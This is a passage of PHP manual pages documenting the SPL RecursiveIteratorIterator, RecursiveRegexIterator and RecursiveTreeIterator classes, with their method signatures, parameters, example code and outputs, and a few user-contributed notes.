RecursiveIteratorIterator


Construct a RecursiveIteratorIterator

RecursiveIteratorIterator::callHasChildren
RecursiveIteratorIterator::current
RecursiveIteratorIterator
PHP Manual

RecursiveIteratorIterator::__construct

(PHP 5 >= 5.1.3)

RecursiveIteratorIterator::__construct — Construct a RecursiveIteratorIterator

Description

public RecursiveIteratorIterator::__construct ( Traversable $iterator [, int $mode = RecursiveIteratorIterator::LEAVES_ONLY [, int $flags = 0 ]] )

Creates a RecursiveIteratorIterator from a RecursiveIterator.

Parameters

iterator

The iterator being constructed from. Either a RecursiveIterator or IteratorAggregate.

mode

Optional mode. Possible values are

  • RecursiveIteratorIterator::LEAVES_ONLY - The default. Lists only leaves in iteration.
  • RecursiveIteratorIterator::SELF_FIRST - Lists leaves and parents in iteration with parents coming first.
  • RecursiveIteratorIterator::CHILD_FIRST - Lists leaves and parents in iteration with leaves coming first.

flags

Optional flag. Possible values are RecursiveIteratorIterator::CATCH_GET_CHILD which will then ignore exceptions thrown in calls to RecursiveIteratorIterator::getChildren().

Return Values

No value is returned.

Examples

Example #1 Iterating a RecursiveIteratorIterator

<?php
$array = array(
    array(
        array(
            array(
                'leaf-0-0-0-0',
                'leaf-0-0-0-1'
            ),
            'leaf-0-0-0'
        ),
        array(
            array(
                'leaf-0-1-0-0',
                'leaf-0-1-0-1'
            ),
            'leaf-0-1-0'
        ),
        'leaf-0-0'
    )
);

$iterator = new RecursiveIteratorIterator(
    new RecursiveArrayIterator($array),
    $mode
);
foreach ($iterator as $key => $leaf) {
    echo "$key => $leaf", PHP_EOL;
}
?>

Output with $mode = RecursiveIteratorIterator::LEAVES_ONLY

0 => leaf-0-0-0-0
1 => leaf-0-0-0-1
0 => leaf-0-0-0
0 => leaf-0-1-0-0
1 => leaf-0-1-0-1
0 => leaf-0-1-0
0 => leaf-0-0

Output with $mode = RecursiveIteratorIterator::SELF_FIRST

0 => Array
0 => Array
0 => Array
0 => leaf-0-0-0-0
1 => leaf-0-0-0-1
1 => leaf-0-0-0
1 => Array
0 => Array
0 => leaf-0-1-0-0
1 => leaf-0-1-0-1
1 => leaf-0-1-0
2 => leaf-0-0

Output with $mode = RecursiveIteratorIterator::CHILD_FIRST

0 => leaf-0-0-0-0
1 => leaf-0-0-0-1
0 => Array
1 => leaf-0-0-0
0 => Array
0 => leaf-0-1-0-0
1 => leaf-0-1-0-1
0 => Array
1 => leaf-0-1-0
1 => Array
2 => leaf-0-0
0 => Array

User Contributed Notes

Tom 06-Jan-2011 01:13
Note: the missing documentation of the argument list for this constructor is currently as follows (according to source code).

Param iter: see RecursiveIterator

Param mode:
- LEAVES_ONLY = (default) only iterate leaves
- SELF_FIRST = iterate parents prior to children
- CHILD_FIRST = iterate children prior to parents

Param flags:
- CATCH_GET_CHILD = ignore exceptions in getChildren() call
Matt Creenan 05-Mar-2010 09:39
Note that LEAVES_ONLY, SELF_FIRST and CHILD_FIRST do not work by themselves.

They are class constants so you need to use RecursiveIteratorIterator::LEAVES_ONLY, etc.
RecursiveIteratorIterator::callHasChildren
RecursiveIteratorIterator::current
RecursiveIteratorIterator


Access the current element value

RecursiveIteratorIterator::__construct
RecursiveIteratorIterator::endChildren
RecursiveIteratorIterator
PHP Manual

RecursiveIteratorIterator::current

(PHP 5)

RecursiveIteratorIterator::current — Access the current element value

Description

public mixed RecursiveIteratorIterator::current ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The current elements value.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveIteratorIterator::__construct
RecursiveIteratorIterator::endChildren
RecursiveIteratorIterator


End children

RecursiveIteratorIterator::current
RecursiveIteratorIterator::endIteration
RecursiveIteratorIterator
PHP Manual

RecursiveIteratorIterator::endChildren

(PHP 5 >= 5.1.0)

RecursiveIteratorIterator::endChildren — End children

Description

public void RecursiveIteratorIterator::endChildren ( void )

Called when end recursing one level.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

Tom 06-Jan-2011 01:20
According to the source code documentation, this function is not implemented.

It is used as a hook. You need to overwrite it in your derived class. Don't call it yourself, it is called automatically.

Documentation: Template method provided for overriding classes, called after an iteterator has been used up.
(Default implementation does nothing.)
RecursiveIteratorIterator::current
RecursiveIteratorIterator::endIteration
RecursiveIteratorIterator


End Iteration

RecursiveIteratorIterator::endChildren
RecursiveIteratorIterator::getDepth
RecursiveIteratorIterator
PHP Manual

RecursiveIteratorIterator::endIteration

(PHP 5 >= 5.1.0)

RecursiveIteratorIterator::endIteration — End Iteration

Description

public void RecursiveIteratorIterator::endIteration ( void )

Called when the iteration ends (when RecursiveIteratorIterator::valid() first returns FALSE.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

Tom 06-Jan-2011 01:23
Some source code documentation that I found on this function currently says: Template method provided for overriding classes, default implementation does nothing.
RecursiveIteratorIterator::endChildren
RecursiveIteratorIterator::getDepth
RecursiveIteratorIterator


Get the current depth of the recursive iteration

RecursiveIteratorIterator::endIteration
RecursiveIteratorIterator::getInnerIterator
RecursiveIteratorIterator
PHP Manual

RecursiveIteratorIterator::getDepth

(PHP 5)

RecursiveIteratorIterator::getDepth — Get the current depth of the recursive iteration

Description

public int RecursiveIteratorIterator::getDepth ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The current depth of the recursive iteration.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveIteratorIterator::endIteration
RecursiveIteratorIterator::getInnerIterator
RecursiveIteratorIterator


Get inner iterator

RecursiveIteratorIterator::getDepth
RecursiveIteratorIterator::getMaxDepth
RecursiveIteratorIterator
PHP Manual

RecursiveIteratorIterator::getInnerIterator

(PHP 5 >= 5.1.0)

RecursiveIteratorIterator::getInnerIterator — Get inner iterator

Description

public iterator RecursiveIteratorIterator::getInnerIterator ( void )

Gets the current active sub iterator.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The current active sub iterator.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveIteratorIterator::getDepth
RecursiveIteratorIterator::getMaxDepth
RecursiveIteratorIterator


Get max depth

RecursiveIteratorIterator::getInnerIterator
RecursiveIteratorIterator::getSubIterator
RecursiveIteratorIterator
PHP Manual

RecursiveIteratorIterator::getMaxDepth

(PHP 5 >= 5.1.0)

RecursiveIteratorIterator::getMaxDepth — Get max depth

Description

public mixed RecursiveIteratorIterator::getMaxDepth ( void )

Gets the maximum allowable depth.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The maximum accepted depth, or FALSE if any depth is allowed.

See Also

  • RecursiveIteratorIterator::setMaxDepth() - Set max depth

User Contributed Notes

There are no user contributed notes for this page.
RecursiveIteratorIterator::getInnerIterator
RecursiveIteratorIterator::getSubIterator
RecursiveIteratorIterator


The current active sub iterator

RecursiveIteratorIterator::getMaxDepth
RecursiveIteratorIterator::key
RecursiveIteratorIterator
PHP Manual

RecursiveIteratorIterator::getSubIterator

(PHP 5)

RecursiveIteratorIterator::getSubIterator — The current active sub iterator

Description

public RecursiveIterator RecursiveIteratorIterator::getSubIterator ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The current active sub iterator.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveIteratorIterator::getMaxDepth
RecursiveIteratorIterator::key
RecursiveIteratorIterator


Access the current key

RecursiveIteratorIterator::getSubIterator
RecursiveIteratorIterator::next
RecursiveIteratorIterator
PHP Manual

RecursiveIteratorIterator::key

(PHP 5)

RecursiveIteratorIterator::key — Access the current key

Description

public mixed RecursiveIteratorIterator::key ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The current key.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveIteratorIterator::getSubIterator
RecursiveIteratorIterator::next
RecursiveIteratorIterator


Move forward to the next element

RecursiveIteratorIterator::key
RecursiveIteratorIterator::nextElement
RecursiveIteratorIterator
PHP Manual

RecursiveIteratorIterator::next

(PHP 5)

RecursiveIteratorIterator::next — Move forward to the next element

Description

public void RecursiveIteratorIterator::next ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveIteratorIterator::key
RecursiveIteratorIterator::nextElement
RecursiveIteratorIterator


Next element

RecursiveIteratorIterator::next
RecursiveIteratorIterator::rewind
RecursiveIteratorIterator
PHP Manual

RecursiveIteratorIterator::nextElement

(PHP 5 >= 5.1.0)

RecursiveIteratorIterator::nextElement — Next element

Description

public void RecursiveIteratorIterator::nextElement ( void )

Called when the next element is available.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveIteratorIterator::next
RecursiveIteratorIterator::rewind
RecursiveIteratorIterator


Rewind the iterator to the first element of the top level inner iterator

RecursiveIteratorIterator::nextElement
RecursiveIteratorIterator::setMaxDepth
RecursiveIteratorIterator
PHP Manual

RecursiveIteratorIterator::rewind

(PHP 5)

RecursiveIteratorIterator::rewind — Rewind the iterator to the first element of the top level inner iterator

Description

public void RecursiveIteratorIterator::rewind ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveIteratorIterator::nextElement
RecursiveIteratorIterator::setMaxDepth
RecursiveIteratorIterator


Set max depth

RecursiveIteratorIterator::rewind
RecursiveIteratorIterator::valid
RecursiveIteratorIterator
PHP Manual

RecursiveIteratorIterator::setMaxDepth

(PHP 5 >= 5.1.0)

RecursiveIteratorIterator::setMaxDepth — Set max depth

Description

public void RecursiveIteratorIterator::setMaxDepth ([ string $max_depth = -1 ] )

Set the maximum allowed depth.

Warning

This function is currently not documented; only its argument list is available.

Parameters

max_depth

The maximum allowed depth. -1 is used for any depth.

Return Values

No value is returned.

Errors/Exceptions

Emits an Exception if max_depth is less than -1.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveIteratorIterator::rewind
RecursiveIteratorIterator::valid
RecursiveIteratorIterator


Check whether the current position is valid

RecursiveIteratorIterator::setMaxDepth
RecursiveRegexIterator
RecursiveIteratorIterator
PHP Manual

RecursiveIteratorIterator::valid

(PHP 5)

RecursiveIteratorIterator::valid — Check whether the current position is valid

Description

public bool RecursiveIteratorIterator::valid ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

TRUE if the current position is valid, otherwise FALSE

User Contributed Notes

There are no user contributed notes for this page.
RecursiveIteratorIterator::setMaxDepth
RecursiveRegexIterator
RecursiveIteratorIterator


The RecursiveRegexIterator class

(PHP 5 >= 5.2.0)

Introduction

This recursive iterator can filter another recursive iterator via a regular expression.

Class synopsis

RecursiveRegexIterator extends RegexIterator implements RecursiveIterator {
/* Methods */
public __construct ( RecursiveIterator $iterator , string $regex [, int $mode = self::MATCH [, int $flags = 0 [, int $preg_flags = 0 ]]] )
public RecursiveRegexIterator getChildren ( void )
public bool hasChildren ( void )
/* Inherited methods */
public RecursiveIterator RecursiveIterator::getChildren ( void )
public bool RecursiveIterator::hasChildren ( void )
public bool RegexIterator::accept ( void )
public int RegexIterator::getFlags ( void )
public int RegexIterator::getMode ( void )
public int RegexIterator::getPregFlags ( void )
public string RegexIterator::getRegex ( void )
public void RegexIterator::setFlags ( int $flags )
public void RegexIterator::setMode ( int $mode )
public void RegexIterator::setPregFlags ( int $preg_flags )
}

Table of Contents

  • RecursiveRegexIterator::__construct — Creates a new RecursiveRegexIterator.
  • RecursiveRegexIterator::getChildren — Returns an iterator for the current entry.
  • RecursiveRegexIterator::hasChildren — Returns whether an iterator can be obtained for the current entry.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveIteratorIterator::valid
RecursiveRegexIterator::__construct
Iterators


Creates a new RecursiveRegexIterator.

RecursiveRegexIterator
RecursiveRegexIterator::getChildren
RecursiveRegexIterator
PHP Manual

RecursiveRegexIterator::__construct

(PHP 5 >= 5.2.0)

RecursiveRegexIterator::__construct — Creates a new RecursiveRegexIterator.

Description

public RecursiveRegexIterator::__construct() ( RecursiveIterator $iterator , string $regex [, int $mode = self::MATCH [, int $flags = 0 [, int $preg_flags = 0 ]]] )

Creates a new regular expression iterator.

Parameters

iterator

The recursive iterator to apply this regex filter to.

regex

The regular expression to match.

mode

Operation mode, see RegexIterator::setMode() for a list of modes.

flags

Special flags, see RegexIterator::setFlags() for a list of available flags.

preg_flags

The regular expression flags. These flags depend on the operation mode parameter:

RegexIterator preg_flags
operation mode | available flags
RecursiveRegexIterator::ALL_MATCHES | See preg_match_all().
RecursiveRegexIterator::GET_MATCH | See preg_match().
RecursiveRegexIterator::MATCH | See preg_match().
RecursiveRegexIterator::REPLACE | none.
RecursiveRegexIterator::SPLIT | See preg_split().

Examples

Example #1 RecursiveRegexIterator::__construct() example

Creates a new RegexIterator that filters all strings that start with 'test'.

<?php
$rArrayIterator = new RecursiveArrayIterator(array('test1', array('tet3', 'test4', 'test5')));
$rRegexIterator = new RecursiveRegexIterator($rArrayIterator, '/^test/',
    RecursiveRegexIterator::ALL_MATCHES);

foreach ($rRegexIterator as $key1 => $value1) {

    if ($rRegexIterator->hasChildren()) {

        // print all children
        echo "Children: ";
        foreach ($rRegexIterator->getChildren() as $key => $value) {
            echo $value . " ";
        }
        echo "\n";
    } else {
        echo "No children\n";
    }

}
?>

The above example will output something similar to:

No children
Children: test4 test5

See Also

  • preg_match() - Perform a regular expression match
  • preg_match_all() - Perform a global regular expression match
  • preg_replace() - Perform a regular expression search and replace
  • preg_split() - Split string by a regular expression

User Contributed Notes

SongoQ 27-Oct-2009 11:22
RecursiveRegexIterator::ALL_MATCHES List all subdirectories and files.

<?php

$a = new RecursiveRegexIterator( new RecursiveDirectoryIterator(
'/home/songoq' ), '/mydir/i', RecursiveRegexIterator::ALL_MATCHES );

foreach( new RecursiveIteratorIterator( $a ) as $s )
{
       echo $s."\n";
}
RecursiveRegexIterator
RecursiveRegexIterator::getChildren
RecursiveRegexIterator


Returns an iterator for the current entry.

RecursiveRegexIterator::__construct
RecursiveRegexIterator::hasChildren
RecursiveRegexIterator
PHP Manual

RecursiveRegexIterator::getChildren

(PHP 5 >= 5.2.0)

RecursiveRegexIterator::getChildren — Returns an iterator for the current entry.

Description

public RecursiveRegexIterator RecursiveRegexIterator::getChildren ( void )

Returns an iterator for the current iterator entry.

Parameters

This function has no parameters.

Return Values

An iterator for the current entry, if it can be iterated over by the inner iterator.

Errors/Exceptions

An InvalidArgumentException will be thrown if the current entry does not contain a value that can be iterated over by the inner iterator.

Examples

Example #1 RecursiveRegexIterator::getChildren() example

<?php
$rArrayIterator = new RecursiveArrayIterator(array('test1', array('tet3', 'test4', 'test5')));
$rRegexIterator = new RecursiveRegexIterator($rArrayIterator, '/^test/',
    RecursiveRegexIterator::ALL_MATCHES);

foreach ($rRegexIterator as $key1 => $value1) {

    if ($rRegexIterator->hasChildren()) {

        // print all children
        echo "Children: ";
        foreach ($rRegexIterator->getChildren() as $key => $value) {
            echo $value . " ";
        }
        echo "\n";
    } else {
        echo "No children\n";
    }

}
?>

The above example will output:

No children
Children: test4 test5

See Also

  • RecursiveRegexIterator::hasChildren() - Returns whether an iterator can be obtained for the current entry.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveRegexIterator::__construct
RecursiveRegexIterator::hasChildren
RecursiveRegexIterator


Returns whether an iterator can be obtained for the current entry.

RecursiveRegexIterator::getChildren
RecursiveTreeIterator
RecursiveRegexIterator
PHP Manual

RecursiveRegexIterator::hasChildren

(PHP 5 >= 5.2.0)

RecursiveRegexIterator::hasChildren — Returns whether an iterator can be obtained for the current entry.

Description

public bool RecursiveRegexIterator::hasChildren ( void )

Returns whether an iterator can be obtained for the current entry. This iterator can be obtained via RecursiveRegexIterator::getChildren().

Parameters

This function has no parameters.

Return Values

Returns TRUE if an iterator can be obtained for the current entry, otherwise returns FALSE.

Examples

Example #1 RecursiveRegexIterator::hasChildren() example

<?php
$rArrayIterator = new RecursiveArrayIterator(array('test1', array('tet3', 'test4', 'test5')));
$rRegexIterator = new RecursiveRegexIterator($rArrayIterator, '/^test/',
    RecursiveRegexIterator::ALL_MATCHES);

foreach ($rRegexIterator as $value) {
    var_dump($rRegexIterator->hasChildren());
}
?>

The above example will output:

bool(false)
bool(true)

See Also

  • RecursiveRegexIterator::getChildren() - Returns an iterator for the current entry.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveRegexIterator::getChildren
RecursiveTreeIterator
RecursiveRegexIterator


The RecursiveTreeIterator class

(PHP 5 >= 5.3.0)

Introduction

Allows iterating over a RecursiveIterator to generate an ASCII graphic tree.

Class synopsis

RecursiveTreeIterator extends RecursiveIteratorIterator implements OuterIterator , Traversable , Iterator {
/* Constants */
const integer BYPASS_CURRENT = 4 ;
const integer BYPASS_KEY = 8 ;
const integer PREFIX_LEFT = 0 ;
const integer PREFIX_MID_HAS_NEXT = 1 ;
const integer PREFIX_MID_LAST = 2 ;
const integer PREFIX_END_HAS_NEXT = 3 ;
const integer PREFIX_END_LAST = 4 ;
const integer PREFIX_RIGHT = 5 ;
/* Methods */
public void beginChildren ( void )
public RecursiveIterator beginIteration ( void )
public RecursiveIterator callGetChildren ( void )
public bool callHasChildren ( void )
public __construct ( RecursiveIterator|IteratorAggregate $it [, int $flags = RecursiveTreeIterator::BYPASS_KEY [, int $cit_flags = CachingIterator::CATCH_GET_CHILD [, int $mode = RecursiveIteratorIterator::SELF_FIRST ]]] )
public string current ( void )
public void endChildren ( void )
public void endIteration ( void )
public string getEntry ( void )
public void getPostfix ( void )
public string getPrefix ( void )
public string key ( void )
public void next ( void )
public void nextElement ( void )
public void rewind ( void )
public void setPrefixPart ( int $part , string $value )
public bool valid ( void )
/* Inherited methods */
public void RecursiveIteratorIterator::beginChildren ( void )
public void RecursiveIteratorIterator::beginIteration ( void )
public RecursiveIterator RecursiveIteratorIterator::callGetChildren ( void )
public bool RecursiveIteratorIterator::callHasChildren ( void )
public RecursiveIteratorIterator::__construct ( Traversable $iterator [, int $mode = RecursiveIteratorIterator::LEAVES_ONLY [, int $flags = 0 ]] )
public mixed RecursiveIteratorIterator::current ( void )
public void RecursiveIteratorIterator::endChildren ( void )
public void RecursiveIteratorIterator::endIteration ( void )
public int RecursiveIteratorIterator::getDepth ( void )
public iterator RecursiveIteratorIterator::getInnerIterator ( void )
public mixed RecursiveIteratorIterator::getMaxDepth ( void )
public RecursiveIterator RecursiveIteratorIterator::getSubIterator ( void )
public mixed RecursiveIteratorIterator::key ( void )
public void RecursiveIteratorIterator::next ( void )
public void RecursiveIteratorIterator::nextElement ( void )
public void RecursiveIteratorIterator::rewind ( void )
public void RecursiveIteratorIterator::setMaxDepth ([ string $max_depth = -1 ] )
public bool RecursiveIteratorIterator::valid ( void )
}

Predefined Constants

RecursiveTreeIterator::BYPASS_CURRENT

RecursiveTreeIterator::BYPASS_KEY

RecursiveTreeIterator::PREFIX_LEFT

RecursiveTreeIterator::PREFIX_MID_HAS_NEXT

RecursiveTreeIterator::PREFIX_MID_LAST

RecursiveTreeIterator::PREFIX_END_HAS_NEXT

RecursiveTreeIterator::PREFIX_END_LAST

RecursiveTreeIterator::PREFIX_RIGHT

Table of Contents

  • RecursiveTreeIterator::beginChildren — Begin children
  • RecursiveTreeIterator::beginIteration — Begin iteration
  • RecursiveTreeIterator::callGetChildren — Get children
  • RecursiveTreeIterator::callHasChildren — Has children
  • RecursiveTreeIterator::__construct — Construct a RecursiveTreeIterator
  • RecursiveTreeIterator::current — Get current element
  • RecursiveTreeIterator::endChildren — End children
  • RecursiveTreeIterator::endIteration — End iteration
  • RecursiveTreeIterator::getEntry — Get current entry
  • RecursiveTreeIterator::getPostfix — Get the postfix
  • RecursiveTreeIterator::getPrefix — Get the prefix
  • RecursiveTreeIterator::key — Get the key of the current element
  • RecursiveTreeIterator::next — Move to next element
  • RecursiveTreeIterator::nextElement — Next element
  • RecursiveTreeIterator::rewind — Rewind iterator
  • RecursiveTreeIterator::setPrefixPart — Set a part of the prefix
  • RecursiveTreeIterator::valid — Check validity

User Contributed Notes

There are no user contributed notes for this page.
RecursiveRegexIterator::hasChildren
RecursiveTreeIterator::beginChildren
Iterators


Begin children

RecursiveTreeIterator
RecursiveTreeIterator::beginIteration
RecursiveTreeIterator
PHP Manual

RecursiveTreeIterator::beginChildren

(PHP 5 >= 5.3.0)

RecursiveTreeIterator::beginChildren — Begin children

Description

public void RecursiveTreeIterator::beginChildren ( void )

Called when recursing one level down.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveTreeIterator
RecursiveTreeIterator::beginIteration
RecursiveTreeIterator


Begin iteration

RecursiveTreeIterator::beginChildren
RecursiveTreeIterator::callGetChildren
RecursiveTreeIterator
PHP Manual

RecursiveTreeIterator::beginIteration

(PHP 5 >= 5.3.0)

RecursiveTreeIterator::beginIteration — Begin iteration

Description

public RecursiveIterator RecursiveTreeIterator::beginIteration ( void )

Called when iteration begins (after the first RecursiveTreeIterator::rewind() call).

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

A RecursiveIterator.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveTreeIterator::beginChildren
RecursiveTreeIterator::callGetChildren
RecursiveTreeIterator


Get children

RecursiveTreeIterator::beginIteration
RecursiveTreeIterator::callHasChildren
RecursiveTreeIterator
PHP Manual

RecursiveTreeIterator::callGetChildren

(PHP 5 >= 5.3.0)

RecursiveTreeIterator::callGetChildren — Get children

Description

public RecursiveIterator RecursiveTreeIterator::callGetChildren ( void )

Gets children of the current element.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

A RecursiveIterator.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveTreeIterator::beginIteration
RecursiveTreeIterator::callHasChildren
RecursiveTreeIterator


Has children

RecursiveTreeIterator::callGetChildren
RecursiveTreeIterator::__construct
RecursiveTreeIterator
PHP Manual

RecursiveTreeIterator::callHasChildren

(PHP 5 >= 5.3.0)

RecursiveTreeIterator::callHasChildren — Has children

Description

public bool RecursiveTreeIterator::callHasChildren ( void )

Called for each element to test whether it has children.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

TRUE if there are children, otherwise FALSE

User Contributed Notes

There are no user contributed notes for this page.
RecursiveTreeIterator::callGetChildren
RecursiveTreeIterator::__construct
RecursiveTreeIterator


Construct a RecursiveTreeIterator

RecursiveTreeIterator::callHasChildren
RecursiveTreeIterator::current
RecursiveTreeIterator
PHP Manual

RecursiveTreeIterator::__construct

(PHP 5 >= 5.3.0)

RecursiveTreeIterator::__construct — Construct a RecursiveTreeIterator

Description

 public  RecursiveTreeIterator::__construct
  ( RecursiveIterator|IteratorAggregate $it
 [, int $flags = RecursiveTreeIterator::BYPASS_KEY
 [, int $cit_flags = CachingIterator::CATCH_GET_CHILD
 [, int $mode = RecursiveIteratorIterator::SELF_FIRST
]]] )

Constructs a new RecursiveTreeIterator from the supplied recursive iterator.

Warning

This function is currently not documented; only its argument list is available.

Parameters

it

The RecursiveIterator or IteratorAggregate to iterate over.

flags

Flags may be provided which will affect the behavior of some methods. A list of the flags can found under RecursiveTreeIterator predefined constants.

caching_it_flags

Flags to affect the behavior of the RecursiveCachingIterator used internally.

mode

Flags to affect the behavior of the RecursiveIteratorIterator used internally.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveTreeIterator::callHasChildren
RecursiveTreeIterator::current
RecursiveTreeIterator


Get current element

RecursiveTreeIterator::__construct
RecursiveTreeIterator::endChildren
RecursiveTreeIterator
PHP Manual

RecursiveTreeIterator::current

(PHP 5 >= 5.3.0)

RecursiveTreeIterator::current — Get current element

Description

public string RecursiveTreeIterator::current ( void )

Gets the current element prefixed and postfixed.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Returns the current element prefixed and postfixed.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveTreeIterator::__construct
RecursiveTreeIterator::endChildren
RecursiveTreeIterator


End children

RecursiveTreeIterator::current
RecursiveTreeIterator::endIteration
RecursiveTreeIterator
PHP Manual

RecursiveTreeIterator::endChildren

(PHP 5 >= 5.3.0)

RecursiveTreeIterator::endChildren — End children

Description

public void RecursiveTreeIterator::endChildren ( void )

Called when end recursing one level.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveTreeIterator::current
RecursiveTreeIterator::endIteration
RecursiveTreeIterator


End iteration

RecursiveTreeIterator::endChildren
RecursiveTreeIterator::getEntry
RecursiveTreeIterator
PHP Manual

RecursiveTreeIterator::endIteration

(PHP 5 >= 5.3.0)

RecursiveTreeIterator::endIteration — End iteration

Description

public void RecursiveTreeIterator::endIteration ( void )

Called when the iteration ends (when RecursiveTreeIterator::valid() first returns FALSE)

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveTreeIterator::endChildren
RecursiveTreeIterator::getEntry
RecursiveTreeIterator


Get current entry

RecursiveTreeIterator::endIteration
RecursiveTreeIterator::getPostfix
RecursiveTreeIterator
PHP Manual

RecursiveTreeIterator::getEntry

(PHP 5 >= 5.3.0)

RecursiveTreeIterator::getEntry — Get current entry

Description

public string RecursiveTreeIterator::getEntry ( void )

Gets the part of the tree built for the current element.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Returns the part of the tree built for the current element.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveTreeIterator::endIteration
RecursiveTreeIterator::getPostfix
RecursiveTreeIterator


Get the postfix

RecursiveTreeIterator::getEntry
RecursiveTreeIterator::getPrefix
RecursiveTreeIterator
PHP Manual

RecursiveTreeIterator::getPostfix

(PHP 5 >= 5.3.0)

RecursiveTreeIterator::getPostfix — Get the postfix

Description

public void RecursiveTreeIterator::getPostfix ( void )

Gets the string to place after the current element.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Returns the string to place after the current element.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveTreeIterator::getEntry
RecursiveTreeIterator::getPrefix
RecursiveTreeIterator


Get the prefix

RecursiveTreeIterator::getPostfix
RecursiveTreeIterator::key
RecursiveTreeIterator
PHP Manual

RecursiveTreeIterator::getPrefix

(PHP 5 >= 5.3.0)

RecursiveTreeIterator::getPrefix — Get the prefix

Description

public string RecursiveTreeIterator::getPrefix ( void )

Gets the string to place in front of current element

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Returns the string to place in front of current element

User Contributed Notes

There are no user contributed notes for this page.
RecursiveTreeIterator::getPostfix
RecursiveTreeIterator::key
RecursiveTreeIterator


Get the key of the current element

RecursiveTreeIterator::getPrefix
RecursiveTreeIterator::next
RecursiveTreeIterator
PHP Manual

RecursiveTreeIterator::key

(PHP 5 >= 5.3.0)

RecursiveTreeIterator::key — Get the key of the current element

Description

public string RecursiveTreeIterator::key ( void )

Gets the current key prefixed and postfixed.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Returns the current key prefixed and postfixed.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveTreeIterator::getPrefix
RecursiveTreeIterator::next
RecursiveTreeIterator


Move to next element

RecursiveTreeIterator::key
RecursiveTreeIterator::nextElement
RecursiveTreeIterator
PHP Manual

RecursiveTreeIterator::next

(PHP 5 >= 5.3.0)

RecursiveTreeIterator::next — Move to next element

Description

public void RecursiveTreeIterator::next ( void )

Moves forward to the next element.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveTreeIterator::key
RecursiveTreeIterator::nextElement
RecursiveTreeIterator


Next element

RecursiveTreeIterator::next
RecursiveTreeIterator::rewind
RecursiveTreeIterator
PHP Manual

RecursiveTreeIterator::nextElement

(PHP 5 >= 5.3.0)

RecursiveTreeIterator::nextElement — Next element

Description

public void RecursiveTreeIterator::nextElement ( void )

Called when the next element is available.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveTreeIterator::next
RecursiveTreeIterator::rewind
RecursiveTreeIterator


Rewind iterator

RecursiveTreeIterator::nextElement
RecursiveTreeIterator::setPrefixPart
RecursiveTreeIterator
PHP Manual

RecursiveTreeIterator::rewind

(PHP 5 >= 5.3.0)

RecursiveTreeIterator::rewind — Rewind iterator

Description

public void RecursiveTreeIterator::rewind ( void )

Rewinds the iterator to the first element of the top level inner iterator.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveTreeIterator::nextElement
RecursiveTreeIterator::setPrefixPart
RecursiveTreeIterator


Set a part of the prefix

RecursiveTreeIterator::rewind
RecursiveTreeIterator::valid
RecursiveTreeIterator
PHP Manual

RecursiveTreeIterator::setPrefixPart

(PHP 5 >= 5.3.0)

RecursiveTreeIterator::setPrefixPart — Set a part of the prefix

Description

public void RecursiveTreeIterator::setPrefixPart ( int $part , string $value )

Sets a part of the prefix used in the graphic tree.

Warning

This function is currently not documented; only its argument list is available.

Parameters

part

One of the RecursiveTreeIterator::PREFIX_* constants.

value

